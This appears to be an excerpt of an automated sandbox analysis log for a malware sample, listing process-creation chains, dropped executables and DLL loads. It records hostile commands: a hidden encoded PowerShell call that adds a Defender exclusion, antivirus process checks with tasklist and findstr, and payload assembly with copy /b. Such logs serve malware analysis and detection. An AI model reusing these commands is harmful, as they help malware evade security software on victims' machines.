Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe "C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"
Source: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 988 -s 1396
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe "C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe"
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe "C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe"
Source: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe "C:\Users\user\AppData\Local\Temp\1004899001\am209.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe "C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe "C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe "C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe "C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe "C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Process created: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe "C:\Users\user\AppData\Local\Temp\1001527001\legs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Process created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe "C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Process created: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe "C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe"
Source: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe "C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe "C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1020934001\mdjw5me.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: apphelp.dll
